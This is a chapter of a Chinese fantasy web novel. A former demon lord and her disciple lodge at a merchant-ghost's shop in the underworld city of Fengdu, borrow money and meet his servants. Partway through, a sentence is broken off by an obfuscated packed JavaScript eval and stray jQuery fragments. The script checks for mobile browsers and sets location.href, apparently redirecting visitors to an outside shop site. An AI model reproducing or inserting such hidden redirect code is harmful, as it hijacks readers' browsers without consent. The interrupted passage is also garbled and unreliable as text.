65. 酆都(贰)

作品:《慢着师父,我是你师尊!

    酆都有几处繁华地界,大多名楼宝店集于老街,百宝阁亦然如此。


    巫溺是后来的魔域酆都,如何经营谋生的,潇泉并不知晓。凭他们妖王在江湖上的名声实力,想在这里顺风顺水不算多难,就以月霜楼老板金大善的态度来看,巫溺应当在酆都混得不错。


    圆滑奸诈花言巧语的人,走到哪儿都能活出自己的一席之地。


    潇泉抱着平和交易的心态,来到了熟悉又陌生的城市,许多是以前见过却不熟悉的店面,变化不大。


    百宝阁坐落于此街道的西南角,左右邻居还是自家领地,比其他很多只租一面的店铺,着实阔绰些许,就连看惯荣华宝库的潇泉也觉此阁颇有势头。


    这得花多少钱才能打造这么一座里里外外都透着金光的华丽屋子?


    酆都黄钱从不外流,大家进来都是白手起家,挣钱发财的人屈指可数。潇泉不得不佩服巫溺的经商头脑及手段,绝非常人所拥有的。


    街上行妖大多戴着面具,行来行往自做自事,有的勾肩搭背进进出出店门,偶尔传来几声大笑;有的独行看街,一派悠闲淡雅;有的模样忐忑,不知手捧何物,又在街角等着何人。


    这一路,没有太多人注意他们。


    百宝阁敞着门扉,他们进去之后,巫溺像回到家里似的,把门关了起来。他走到一旁的憩室,随手拉过靠椅一屁股坐下,身体自然后倾放松着,左脚脚腕搭在右大腿上,甩开折扇轻轻扇着,一脸盈盈浅笑,配合此间重重叠叠的花彩装饰,真是好不闲情雅致。


    潇泉坐在离他最远的位子,粗略看了四周一眼,“你这儿没人打理?”


    “怎么可能?”巫溺轻扬眉梢,“有钱开店还怕没钱雇人吗?他们几个啊,马上就来伺候了,不急。”


    闻尘选在靠近潇泉的位子坐下,挺直身板,眼皮微垂。


    巫溺瞥他一眼,将木几上倒扣的茶杯拿起来,用凉茶冲洗一遍,泼入盆景中,再倒一杯新茶递给潇泉,笑道:“潇魔主第一次光顾本店,没什么好招待的,可别太介意。”


    他态度良好,潇泉伸手不打笑脸人,接过茶杯小抿一口,放在面前没再多沾。


    闻尘端坐不动,没有喝茶的意思。


    时过不久,偏殿传来下楼的脚步声,几名素白衣服戴面具的人轻轻碎步行至潇泉他们所在的憩室,微微躬身朝巫溺呈递纸笔,另外两块翠绿晶石制成的吊坠则呈给了潇泉和闻尘。


    “这是……照魂灯?”潇泉踟蹰接过,另一条给了闻尘。


    “不错。”巫溺铺放好纸笔,语气难得闻声娴雅,“此灯在酆都极为重要,不仅是出行的必需之物,也是一种身份的象征。你们肉身魂魄正常,在这儿经营开店免不了与妖鬼们打交道,想减轻自己的嫌疑,照魂灯必不可少。我的照魂灯制作精密,只要不是碰上难缠的家伙,可保你们在酆都自由出入。”


    潇泉若有所思地点头,“行,还算周全。”


    巫溺低眉在纸上写着,最后停笔搁放,指尖压着纸角移到潇泉面前,“落你名,按手印。”


    这是一张由他亲笔写的契纸,简单几句写清了借款及租金,没有还款期限,利息倒是不少。


    潇泉冷笑两声:“年纪也不小了,做妖要厚道,你这趁火打劫未免太伤和气,是觉得我拿你没办法?”


    “喔?”巫溺神情无辜,“昆仑那边一定在谋划怎么杀过来,我相信潇魔主很快能挣到钱还清款,买到洗髓丹和黄泉花,以最快速度增进修为、重登宝座。要不然,你怎么能护住身边人、查清过往事呢?还得快,利息再多,威胁不到哪里去。”


    潇泉住了下语,思量再三,还是拿笔落名按了手印,“激将法对我没用,这本是我想做的。”


    “那是自然,潇魔主的决定谁有权力干扰。”巫溺收回契纸交给侍立在侧的阿幽,多看了几眼潇泉的手,“这女人啊,可不能像我们男人一样粗糙,得细心养着,不管是容貌还是内里,都得时时注意,练剑什么的,交给身边人就好了。”


    潇泉大方摊开双手,“要命还是要美,我选择第一个。因为你无法保证身边人是否忠诚,就算忠诚,你也无法确保对方会不会一刻不离地跟着自己,所以保护自己的忠臣,永远都是自己。”


    闻尘安安静静坐着,望着别处,似在发呆,又似乎若有似无地点了点头。


    巫溺撇嘴,半晌憋出一句:“跟你说话好无聊哦,你根本没听懂我在说什么。”


    潇泉:“你怎么知道我听没听懂?你很了解我?”


    巫溺身子前倾,手支下颚,吐声:“只要是女人,我都了解。”


    潇泉即刻息声,避开这个话题不谈。


    关于这三位妖王的事历,她多少听过一些。紫藤魅女很久以前是种花营生的小家女儿,后来被一名肮脏龌龊的书生看上,因其品行不佳,故而不应不从,谁知书生气急败坏,因爱生恨,栽赃诬陷她偷盗杀人,唆使村民把人活活烧死,骨灰扬在了她自己养的花场里,最后那片花场也被村民糟蹋殆尽。此等冤亡,促使她成为怨气冲天的妖鬼是为必然。


    石壶的经历没那么坎坷,就是一个被石头砸死的异客,不改为人时的冷淡粗鄙。


    另一个有话可聊的便是巫溺了,听闻他生前是一名唱戏的伶人,颇有名气财富,爱上了不知哪家姑娘,用自己的钱为自己赎身,与那名姑娘合在一处,辗转走过几年,姑娘移情别恋,与奸夫合谋将他杀害,尸身推入了巫山脚下的江里,任鱼虾啃食,而他唱戏得来的所有钱,尽数被这对男女席卷一空。


    至于他是怎么沦落此等地步的,听说是生恨积怨,化作厉鬼传染霉运,暗中作恶,使那名男子遭仇家追杀、五马分尸,女子则四处躲藏,无依无靠成了精神恍惚的乞丐。


    曾有人问过,为何不杀了这个对他痛下杀手的女人?就像魅女报复书生一样,将其抽筋扒皮。


    巫溺似是这般说道:“杀她岂不是便宜了她?我要让她彻底失去我给她挣来的荣华富贵,再眼睁睁看着所爱之人变成残腐败肉,这样才能抚平我心中的恨意。”


    可是他身为妖鬼后的所作所为,并不像他自己所说的完全抚平了恨意,多少还有芥蒂存在。


    巫溺早年比较疯狂,对女人几乎是毫不留情地杀戮,捧着一颗挖出来的心,问什么是真心,后来被群起而攻之,老实了几年,逐渐清醒收敛,生出顽劣玩弄之心,对他许诺却存有异心的女人,会以交易的形式给魅女当作养料,成为蛊尸。


    魅女的养尸之技高明,会对喜欢的皮囊加以装饰雕琢,甚至是固化收藏。她养的蛊尸很多来历不明,其中不乏来自八方、死因不明的年轻人,还有的则是像巫溺这样以活着的方式祭送蛊化,但比较少。


    怕巫溺纠缠这个话题不休,潇泉略微头疼道:“每个人的心性脾气不一样,你要是觉得都一样,那就去纠缠别人,别来纠缠我。”


    巫溺对这话没有放在心上,面带微笑,掏出不知从哪儿来的珠串一颗颗扣玩了起来,转而吩咐阿幽:“回头带潇魔主去金库取黄票。”


    “是。”阿幽和善地笑看了潇泉一下,与其他伶奴低头退下了。


    巫溺随手抛掉珠串,起身捋了捋凌乱散开的领口,“走吧,看房间。”


    潇泉顿住脚步,“看房间?”


    巫溺透过纸糊的花窗眺望外面的深夜之色,“不早了,第一晚你们还是及时找地方歇息好,省得碰上夜巡的阴兵,招惹不该有的麻烦。你方便,他就不一定了,隐匿仙灵之气不代表可以抹除非凡之躯,多多少少还是会被至阴之物感受到,尤其是阴兵。”


    潇泉差点忘了这事儿,以前她进酆都的时候早已修成魔道,不用躲避阴兵,反而是阴兵避开她。


    依闻尘的性子,他绝对不喜寄人篱下于讨厌的人,可眼下就快闭市,来不及寻住宿暂住,只能在百宝阁住上一住,不知他是要独自出去寻宿还是……潇泉回头,闻尘平静地望着她,好像知道她要说什么,默默等着开口。


    潇泉抿了抿唇,语气坚定道:“你跟我一起。”


    闻尘微微一怔,而后颔首,“嗯。”


    这之后,他便一步不离地跟在她的身后了。


    听巫溺说,百宝阁分有三殿,主殿进行买卖交易,左偏殿主要进货分货以及清算货单,右偏殿主要收藏不大方便显露于世的珍品,一般是知晓其物在此地的人来交易。


    左偏殿要大很多,有座宫殿是他自己睡的,阿幽和其他伶奴住在厢房,另一庭院人烟稀少,但常年有人打理,倒饬两下还是可以入住的。


    这笔交易其实是潇泉占了更大的便宜,她心存几分谢意,又怕巫溺得意上天,便没说谢话,只善意了几分语气。


    进了庭院,巫溺负手望着面前不远的房屋,“先打开门窗通通风,缺什么明天我叫阿幽给你添置。床枕被褥什么的,屋里一应俱全,住一晚妥妥没问题。当然,你要是想一直住也未尝不可。”


    “……”潇泉自动忽略了这句话,“不用了,就这样,谢谢。”


    巫溺弯起好看的眼睛,靠近她耳边,“想谢我?可惜呀,我现在没空。不过,你晚些时候可以去主殿找我,说不定我早忙完,在那儿候你多时了。”


    潇泉就知道他会得了便宜又卖乖,气笑了道:“你死了这条心吧,我不会踏进你睡的地方半步。”


    巫溺想说什么,忽而觉察旁边有记刀眼飞来,不嫌事大地回视闻尘,“那他呢?睡哪里?会像你说的那样,跟你一起?”


    潇泉瞪他,“和你有关系吗?”


    “怎么没关系?”巫溺一脸真诚,“他不和你一起,那我就还有机会。”


    潇泉渐渐皱眉,终于明白对方的话中之意,“他和你不一样。”


    巫溺:“都是男人,哪里不一样?”


    “不是所有感情都是男女之情,也不是所有男女之情像你所行那般肮脏。”潇泉言简意赅,“不论什么模样身份,他永远是我膝下弟子。我们之间,不可能存在多余的感情。”


    师徒之间要是存在不该有的东西,不止是为师之过,更违背了师德,是不被世人所认可的。


    这些话,潇泉不便说,也不想说。


    巫溺看了看闻尘,最后望着潇泉,笑道:“原来潇魔主如此拎得轻重,是我多想了,抱歉。”


    潇泉懒得听他再废话,“你快走。”


    巫溺眉眼弯弯,毫不生气,走了。


    这里的房屋还算讲究,潇泉随便挑了一间顺眼的住下,看闻尘跟在身后也不去挑,问道:“你想睡哪儿?”


    闻尘:“我都行。”


    兴许是上了年纪没什么要求,潇泉欣起兴致帮他看了一圈,选了一间还算清冷干净的,问他愿不愿意,闻尘说愿意。


    安顿之地暂时落定,潇泉回房准备休息,却是闭眼躺在床上怎么都静不下心,只好起来倒了一杯凉水喝,坐着静一静身,等心里莫名的不爽消失之后才睡下。


    闭市这段时间和人间夜晚一样是睡眠时候,睡够醒来又是开市时辰。酆都开市较早,潇泉醒来洗漱换衣完,百宝阁已经开门大吉,门前过客来回缓缓,有名白衣少年坐在柜台那儿,戴着个小玳瑁翻账本,“元阴三年农历六月十三,王石……逾期两日……不还、叫骂……我呸,老不死的,没钱买什么买,留着给自己买口棺材不好?一天天的就喜欢当癞蛤蟆,还敢赖到我们百宝阁头上?真是活腻了……”


    他碎碎骂词实在与第一次见面的印象有太大出入,潇泉定睛细辨,确定是阿幽没错。除了他,阁内还有几名伶奴在清理角落,把茶水全换了一回,遗落的书本收集起来放归原位,动作轻而小心,对潇泉的存在仿若未觉。


    潇泉环胸过去,靠在柜台边,敲了敲桌子。


    少年仰起头来看了下她,又继续翻账本,边看边用小本子记,“找谁?我们阁主还是你徒弟?”


    潇泉拨弄桌上的假花,“你们阁主哪儿去了?”


    少年停了停笔,嗤笑道:“原来你们女人很喜欢搞欲擒故纵?昨天说不喜欢,今天又来寻人,不去主殿找本人,非得来庭前问。我都不想说你了。”


    小家伙伶牙俐齿得惊人,潇泉先是愣了一愣,而后道:“谁说问人就一定是在关心人了?我要是真关心他,当然会去主殿瞧上一瞧。我这么问,不过是看在交易的份儿上,礼尚往来罢了,好歹这是他的地盘,我总得问问不是?”


    少年比潇泉的利嘴还是略逊一筹,面对强有力的解释,轻哼一声不吱声了。


    听他刚才那么一说,巫溺可能还在主殿,或许还有私事处理,亦或是在睡大觉……有这么一个传言,狐山大王生前死状凄惨,死后为保持生前模样,需以一种呼吸之法永葆容颜。若真如此,此类用于维持美貌的法子可能就是睡眠了,但绝不可能光是睡觉那么简单,一定还有其他东西辅助,具体是什么,潇泉不得而知,也没必要知晓。


    少年正忙之中,潇泉不再打扰,坐到憩室喝了点伶奴备的早茶,又觉无事,开始观察他们的一举一动。


    这些伶奴年纪不大,约莫十三岁到十六岁之间,个个身穿红白绣花戏服,戴着面具看不见脸,男女亦是分不清楚。从做事和态度来看,可以模糊了解他们的性格有着微末差别。


    潇泉故意盯着最近的一名伶奴看,那名伶奴身形微顿,一言不发,转过身去换了动作换花瓶水,意外的有活人感。片晌,她冒昧追问:“你多大了?”


    伶奴回头猫了她一眼,不知是惧生还是生性冷漠,没有作声,转过去把花重新插回瓶中。


    “不用白费力气了,他们都是阁主捡来的残魂野鬼,只能灵活动一动空壳,没办法说话。能力太弱的,可能还听不懂你说什么。”柜台的少年突然来了一句,打着算盘啪啪响。


    潇泉听完甚奇,“你和他们不一样?”


    少年:“当然不一样。我怨气大,魂魄俱全,可以修炼完整。”


    他懒得解释太多,废话完这句,继续忙活算账。


    潇泉适应了他的态度,顾自沉默思量着。这些伶奴应该有很多是灵魂不全的躯壳,无法正常沟通,只能接受巫溺的指令,和紫藤魅女的蛊尸无所差异,都认主。


    二者本质无异,只不过一个收尸,一个收魂罢了。


    果然如少年所说一样,被问话的伶奴最后狐疑地瞅了潇泉一眼,随后收拾好东西跟同伴们走了。


    潇泉一个人在憩室里倍感无聊,倏然听到外面传来略有几分熟悉的轻笑,若有若无的脚步声由远及近,似乎正朝着这边走来。她好奇望去,一名白衣少年两手提着东西走了进来,身旁并走着一位身高腰细的玄衣男子,手里提着捆成方体的软绵纸包,不知是何物。直觉告诉潇泉,很有可能是吃的。


    看到那张脸,潇泉惊异十分,下意识喊了声:“小尘……你……”


    闻尘扭过头来,轻轻颔首,绕过屏风进入憩室,把纸包的东西放到桌上,“刚出去买的,趁热吃。”


    只喝茶点确实不足以饱腹,但潇泉被


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355238|194969||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刚才那一幕惊得还没反应过来,暂时没有胃口吃东西。她想了一下,问:“你哪儿来的黄钱?问他们借的?”


    闻尘似乎是没想到她会这么问,启唇微止。


    这时,与他同行的白衣少年过来靠在屏风边,微微扬唇道:“潇魔主不必芥蒂,日常用钱阁主不会算在账里,你只要履行好我们之间的约定就好了。如果觉得有亏欠,日后有的是机会偿还,不急于这一时。”


    “他的衣服也是你们出的钱?”潇泉仰头看去,登时怔住。


    少年的脸和柜台那位一模一样,同是穿着刺绣白衣,细看也很难分得清谁是谁。


    知道她心中惊奇,少年补充道:“是不是觉得我这张脸在哪儿见过?你没有眼花,柜台那位是和我同年同月同日死的兄弟,从拜入门起,就和我共用一张脸,名唤小明。理论来说,我们现在是异父异母的双胞胎。”


    潇泉定住半晌,“没有任何血缘关系……也能算双胞胎?”


    阿幽淡淡摆手,“同年同月同日生尚能拜兄认弟,死怎么就不能了呢?”


    潇泉无话反驳。


    阿幽继续道:“小明脾气不好,说话没礼貌,我不建议你们和他近距离相处。”


    “我说话不礼貌?什么时候的事?你举个例子说给我听听?”小明收笔合上账本,转身从柜子分层上拿出一本快要翻烂的书籍看。


    阿幽无奈摊开双手,“好吧,我用词不当,应该是说话直白。”


    小明脸色有所缓和,始终低着头,“下次注意。”


    两人拌嘴小闹一场,阿幽因为要处理别事,先行告别,等轮到他值日时才会过来换值,之后便是小明安安稳稳地休息了。


    憩室一向是招待重要的客人或是老友的地方,这会儿只有潇泉和闻尘在,一个吃着刚买的早点,一个则静坐看书。


    酆都正常的吃食还是不错的,有的香味浓郁,油而不腻,可算美味;不正常的可就花样多了,不是恶心就是该遭雷劈的丑东西,做出来纯属报应世道的。


    闻尘买的早点甜而不腻,刚好对潇泉胃口,吃得差不多了之后,她换了个方向问:“你一大早就跟阿幽出去买早点了?还是说,是你想出去,他跟着你?”


    闻尘:“他跟的我。”


    潇泉看了看柜台,伸出两根手指作出小人偷偷摸摸地走的姿态,用以二次确认。


    闻尘颔首。


    这太正常了,潇泉没有太过惊讶。他身份特殊,法力高强,巫溺哪儿敢放纵他一个人出行?派人紧追尾巴再正常不过,生怕他出去捣鼓什么东西回来密谋策反。


    不过,潇泉知道闻尘不会这样做的,因为她亲口许诺过会履行和巫溺契约,他不会搅黄,也没这个必要,毕竟巫溺实打实地拿出了交易的态度,即便他声名再烂,他们也得信守自己的承诺。当然,如果是巫溺先搞出的幺蛾子,潇泉定然不会履行契约。


    “你吃了吗?”潇泉抵着下巴,“可不能骗我,我最讨厌欺骗了。”


    闻言,闻尘轻轻弯唇,“吃了。”


    寥寥几字便是他完整的一句话,但潇泉还是觉得他和之前不一样了,有了更多明显的微表情,只要观察入微,便能看破。


    “你这衣服应该不是房间衣柜里的吧?样式料子都不符合巫溺的审美……是你新买的?”潇泉实在忍不住问。


    闻尘轻轻眨眼,答得模棱两可,“算是。”


    潇泉诧异道:“你哪儿来的黄钱?”


    闻尘:“以前来过酆都。”


    潇泉知道他来过了,可是听他亲口这么一说,恐怕不只是来过这么简单。思来想去,她只能想到一个结果:“你在酆都待过一段时间?”


    闻尘正要回应,柜台那方传来洪亮的朗读声:“至善至美,转世成仙;至恶至丑,来世堕落……妖魔鬼怪、魑魅魍魉,皆有积德成仁之机……”


    空气霎时无比死寂。


    小明僵着脖子看过来,“看、看看我干什么你们两个?怎么,我读书你们有意见啊?”


    潇泉轻叹道:“怎么可能?我俩刚才是夸你声音明朗、字正腔圆呢,千万别多想。”


    小明显然不接受这到底是真是假的马屁,轻哼一声继续朗读,声音比方才小了一点儿。


    习惯了那边发出的噪音,憩室的话题再次回接上。


    “你来这里……”潇泉没有料到,刚想问原由,忽而想起他之前说过是为了什么,便止住转话,“你是靠什么手段压制体内仙灵之气、避开亡兵鬼将的?你的仙灵之气至阳至纯,很容易被阴兵发现,待不了多久才对。”


    闻尘低头看书,长指轻捻页面,“以后再告诉你。”


    “怎么,不好意思告诉我内情?还是你觉得我知道内情之后会发一通脾气?”潇泉眯起眼睛逐渐笃定,“果然,你还有事儿瞒着我,还极有可能是我不喜欢的事情。”


    随后她又反应过来,“不对……在你印象中,我有那么爱生气吗?很少吧我记得。”


    闻尘眉眼舒开几分,“对我很少。”


    潇泉对他向来宽容,这次亦没有强求,“行,等你想说的时候再告诉我,我有的是时间。”


    闲过清晨,巫溺还没现身,后来去问阿幽才知他确在嗜睡,便没叨扰。


    临走之前,阿幽叫住他们:“你们打算什么时候开店?”


    潇泉一手抱肘,一手虚掩着下巴,“我们现在打算出去看地儿,觉得哪里适合就考虑租店。”


    阿幽放下手里的珠子,笑得温和,“我陪你们去吧。”


    他妖媚的皮囊中带着少年的稚嫩,说话时候还算称得上几分真诚乖巧,潇泉有那么一刻犹豫,又想他是巫溺身边的心腹,更犹豫了。


    阿幽一眼看穿她的态度,又看没有任何表态的闻尘,心知他是在尊重身旁女子的所有决定,不会出手打岔,想了一想,合上放满夜光珠的黑漆长箱,“虽然你们曾经在酆都短暂住过一段时日,但那都是百年前的事了,比起今日酆都,肯定有很多不了解之处。这都是小事,若是在什么地方触犯了什么规矩,被阴兵或是三七门逮住,事情可就非同小可了。”


    潇泉又迟疑了。


    阿幽不紧不慢道:“你们原尊的地位身份放在哪里都瞩目耀眼,但在酆都却是例外……只是看个地儿而已,没必要防得那么紧吧?总不能说我会趁机偷袭你们。”


    他最后坦白说开,潇泉也不再遮掩,“换做是你,你会怎么应付一个心机重重之人?哪怕是他身边的下属。”


    如此简明大敞的话,常人听后也许会气得拂袖走人,阿幽却是被逗得笑了两声,道:“不愧是当过魔王的人,坦白说词没有一点儿害怕得罪人的感觉。我想,或许这就是大王为什么对你感兴趣的原因。”


    潇泉:“他对谁感兴趣不关我事,我只知道今日这番局面全是因为交易,没有别的原因。”


    阿幽没有反驳,甚至是赞同地点了点头,走出这间储放杂物的屋子,朝潇泉闻尘二人走去,“放心好了,要是我敢擅自主张对你们不利,大王一定会扒了我的皮……所以,走吗?”


    潇泉看向清晨与阿幽双双出入过的闻尘,眼神明显在问他这名少年究竟可不可信,得到的回应是——可以。


    旋即,闻尘又露出一丝警惕的眼神,是在告诉潇泉不能对少年放下提防。


    这是自然,潇泉心想。


    气氛缓和下来,阿幽见他们不再作声,利索地锁好屋门,提醒道:“记得带上面具,可以出门了。”